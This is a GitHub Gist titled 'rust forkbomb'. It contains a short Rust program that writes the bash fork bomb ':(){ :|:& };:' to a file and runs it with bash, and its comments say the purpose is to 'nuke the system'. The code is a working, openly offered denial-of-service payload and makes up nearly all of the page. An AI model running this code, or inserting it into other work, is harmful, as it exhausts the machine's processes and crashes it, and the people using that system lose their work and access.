Created
March 7, 2017 10:44
-
-
Save skarnecki/e40906c4e3b8e3f5d11a10c73e7290bb to your computer and use it in GitHub Desktop.
rust forkbomb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::io::prelude::*; | |
use std::fs::File; | |
use std::process::Command; | |
// Since rust have nice thread handling and unwrapping - there is no way to fork bomb using rust only | |
// So I'm using bash to nuke the system | |
#[allow(unconditional_recursion)] | |
fn main(){ | |
let f = File::create("boom"); | |
assert_eq!(f.is_ok(), true); | |
let res = f.unwrap().write_all(b":(){ :|:& };:"); | |
assert_eq!(res.is_ok(), true); | |
let output = Command::new("bash") | |
.arg("boom") | |
.output(); | |
println!("this will not exit !!!: {}", String::from_utf8_lossy(&output.stdout)); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment